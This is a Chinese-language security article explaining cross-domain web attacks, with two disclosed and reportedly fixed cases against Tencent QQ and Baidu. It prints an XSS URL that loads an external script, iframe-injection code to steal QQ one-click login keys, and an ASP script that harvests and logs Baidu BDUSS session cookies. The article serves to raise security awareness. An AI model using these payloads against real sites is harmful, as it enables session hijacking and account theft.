0×00 前言
一直想說說跨域web攻擊這一概念,先前積累了一些案例和經驗,所以想寫這么一篇文檔讓大家了解一下跨域web攻擊,跨域web攻擊指的是利用網站跨域安全設置缺陷進行的web攻擊,有別於傳統的攻擊,跨域web攻擊可以從網站某個不重要的業務直接攻擊和影響核心業務。
傳統的安全思維教會我們按資產、功能等需求划分核心業務,優先保護核心業務等,非核心業務的安全等級一般沒有核心業務高,給我們錯覺是非核心業務受到攻擊的話,所造成損失不會很大,也不會影響到核心業務,所以讓安全工作者了解跨域web攻擊這一概念還是非常有意義的。
0×01 基於ajax跨域設置的跨域攻擊
使用ajax技術讓人頭痛的地方就是如何跨域,受同源策略所限不同域名包括子域名在內是無法進行AJAX請求的,隨后衍生出一類技術可以通過設置document.domain實現跨域。如a.test.com和b.test.com,當兩個網站通過javascript操作DOM接口 document.domain=’test.com’ 將網站的域設置為test.com后,兩個網站就處於同一個域內,可以進行各種跨域操作。在開發人員方面這是很方便的跨域技術,但是在攻擊者眼中這簡直就是一個大后門,黑客只需要找到*.test.com下任意一個XSS漏洞,在任意一個子域名里的網頁都可以跨域攻擊a.test.com和b.test.com。
ajax跨域設置另外一個重點是這種跨域設置還會影響到窗口引用關系的同源策略,如騰訊微博網站進行了document.domain=’qq.com’的跨域設置,我們可以針對騰訊微博做個實驗,在自己的騰訊微博http://t.qq.com/中發任意一個*.qq.com的網站的鏈接(如:http://www.qq.com),在騰訊微博中打開這個網站,然后在地址欄內用javascrit偽協議運行如下的腳本,你會發現騰訊微博所在的網頁被注入了一個alert提示框:
javascript:window.opener.eval('alert(/xss/)');
最后得出結論,由於騰訊微博網站進行了跨域設置,所以*.qq.com下的任意一個和騰訊微博有窗口引用關系的網頁,都可以往騰訊微博跨域注入腳本運行。
案例:騰訊單點登錄系統跨域劫持漏洞
QQ的客戶端安裝了一個快速登錄插件,在客戶端已登錄且QQ.exe在運行的狀態下,這個快速登錄插件可以自動生成一個和QQ號對應的密鑰,在IE瀏覽器訪問QQ網站的各個應用時通過這個密鑰可以免密碼一鍵登錄網站。我經過分析發現,這個快速登錄插件最大的安全措施是生成密鑰的關鍵函數設置了一個信任域xui.ptlogin2.qq.com,也就是在xui.ptlogin2.qq.com的網頁中我們才可以使用這個插件生成密鑰。快速登錄插件的這個信任域安全措施本意是阻止其他非安全域的網頁調用這個插件,而開發人員卻在xui.ptlogin2.qq.com的一個網頁寫入了document.domain=’qq.com’的跨域設置,結果導致這個信任域形同虛設。通過QQ任意分站的一個XSS漏洞我們就能攻擊xui.ptlogin2.qq.com,首先給分站的網頁進行跨域設置,然后通過框架頁嵌入xui.ptlogin2.qq.com的跨域設置頁,由於兩個網頁都設置了同一個域,同源策略生效,那么就可以跨域操作框架注入腳本到xui.ptlogin2.qq.com的域內運行。部分攻擊代碼如下:
http://product.tech.qq.com/simp_search.php?keyword="></script><script/src=http://127.0.0.1/xss.js></script>
xss.js的內容:
window.name ='......' // xui.ptlogin2.qq.com域內運行的攻擊腳本省略
document.domain='qq.com'; //跨域設置
function exploit(){crossQQdomain.location = "javascript:eval(window.parent.name);void(0)";} //在id為crossQQdomain的框架中通過偽協議注入腳本
document.write("<iframe id='crossQQdomain' src='http://xui.ptlogin2.qq.com/*.html' onload=exploit()></iframe>");
通過window.name內設置的是調用快速登錄插件攻擊腳本代碼,被攻擊者訪問了我們的跨站鏈接后,我們就可以獲取到QQ的一鍵登錄密鑰,后果不可想象。
0×02 基於cookie安全的跨域攻擊
以前關於csrf的文檔提過cookie的“同源策略”,實際上這個只是含糊的說明了cookie的domain字段的作用。cookie的domain字段和瀏覽器約定俗成,如一般cookie的domain字段被默認設置為www.test.com, 二級域名*.test.com下就無法訪問這個cookie,所以很多網站就將cookie的domain字段設置為.test.com解決二級域名的cookie讀取問題。
案例:第三方分站淪陷導致的百度cookie安全問題
在百度的passport登錄以后,百度會給客戶端設置一個名為BDUSS的cookie值,這個值的domain字段是.baidu.com,如下:
set-cookie: BDUSS=EVaS0YtVW91NUFnNktNNDhCeUxZelByZ2t6VnNqc2VKNDhqanhXV0Q1a1p4TVJOQVFBQUFBJCQAAAAAAAAAAApBESM9lhgAcmF5c3R5bGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgekV4AAAAAOB6RXgAAAAAcF1CAAAAAAAxMC42NS4yNBk3nU0ZN51gh; expires=Tue, 01 Jan 2030 00:00:00 GMT; path=/; domain=.baidu.com
這個cookie是百度眾多的二級域名共享的身份認證cookie,在某個巧合下我發現了百度第三方網站http://zhishang.baidu.com的漏洞,控制了zhishang.baidu.com的主機,這個網站的域名剛好屬於百度的子域名,那么服務端是可以收到BDUSS這個關鍵cookie的,由於主機是IIS,於是寫了個簡單的收集HTTP請求頭中cookie值的asp腳本,部分攻擊代碼如下:
<%
Dim sp,i,rf
sp = split(request.ServerVariables("HTTP_COOKIE"),"; ",-1,1) #通過服務器變量獲取HTTP請求頭中的COOKIE值
rf = Request.ServerVariables("HTTP_REFERER")
For i=0 to UBound(sp)
if instr(sp(i),"BDUSS")>0 then
txtfile=server.mappath("log.txt")
set fso = CreateObject("Scripting.FileSystemObject")
set MyFile = fso.opentextfile(txtfile,8,True,0)
MyFile.Writeline(date()&" "&time()& " "& rf)
MyFile.Writeline(sp(i)& Chr(13))
MyFile.Close
set fso = nothing
Response.cookies("BDUSS")="delete"
Response.cookies("BDUSS").Path="/"
Response.cookies("BDUSS").Expires=(now()-1)
Response.cookies("BDUSS").Domain = ".baidu.com"
end if
next
response.redirect "http://static.tieba.baidu.com/tb/editor/images/tsj/t_0028.gif" # 302轉跳到真實的圖片
%>
將http://zhishang.baidu.com/c.asp#.gif(#是url注釋)這樣的鏈接當成圖片發布在百度貼吧、百度HI等的帖子或日志中,被攻擊者如果訪問了嵌入了類似圖片鏈接的網頁,瀏覽器將會向zhishang.baidu.com的腳本發起一個GET請求,這個請求會帶上BDUSS值的cookie,服務端的腳本獲取這個cookie后,攻擊者就可以在另一方利用這個cookie偽造被攻擊者的身份使用百度相關的服務。
0×03 跨域web攻擊的思考
跨域web攻擊還有很多種,本文只提到了危害比較大的兩種,案例中所提到的漏洞也已經修復。本文沒有再提到這類攻擊的防御措施,因為這類web攻擊已經有別於傳統的單點攻擊,實際上國內外各大網站和web程序都存在類似的安全問題,這類安全問題不是一個單獨的個例,而是從網站架構開始就需要考慮的安全問題。
本文的目的並不是交大家如何利用跨域web攻擊,而是希望大家通過這類安全問題思考更多,讓大家意識到現實的網絡並沒有絕對的安全,我們面臨的web安全問題依然嚴峻,應用和安全是一個對立面,我們需要在應用和安全中間找到一個平衡點。
0×04 參考
騰訊單點登錄系統跨域劫持漏洞 http://www.wooyun.org/bugs/wooyun-2010-0118
百度認證機制問題分析與利用 http://www.wooyun.org/bugs/wooyun-2010-0253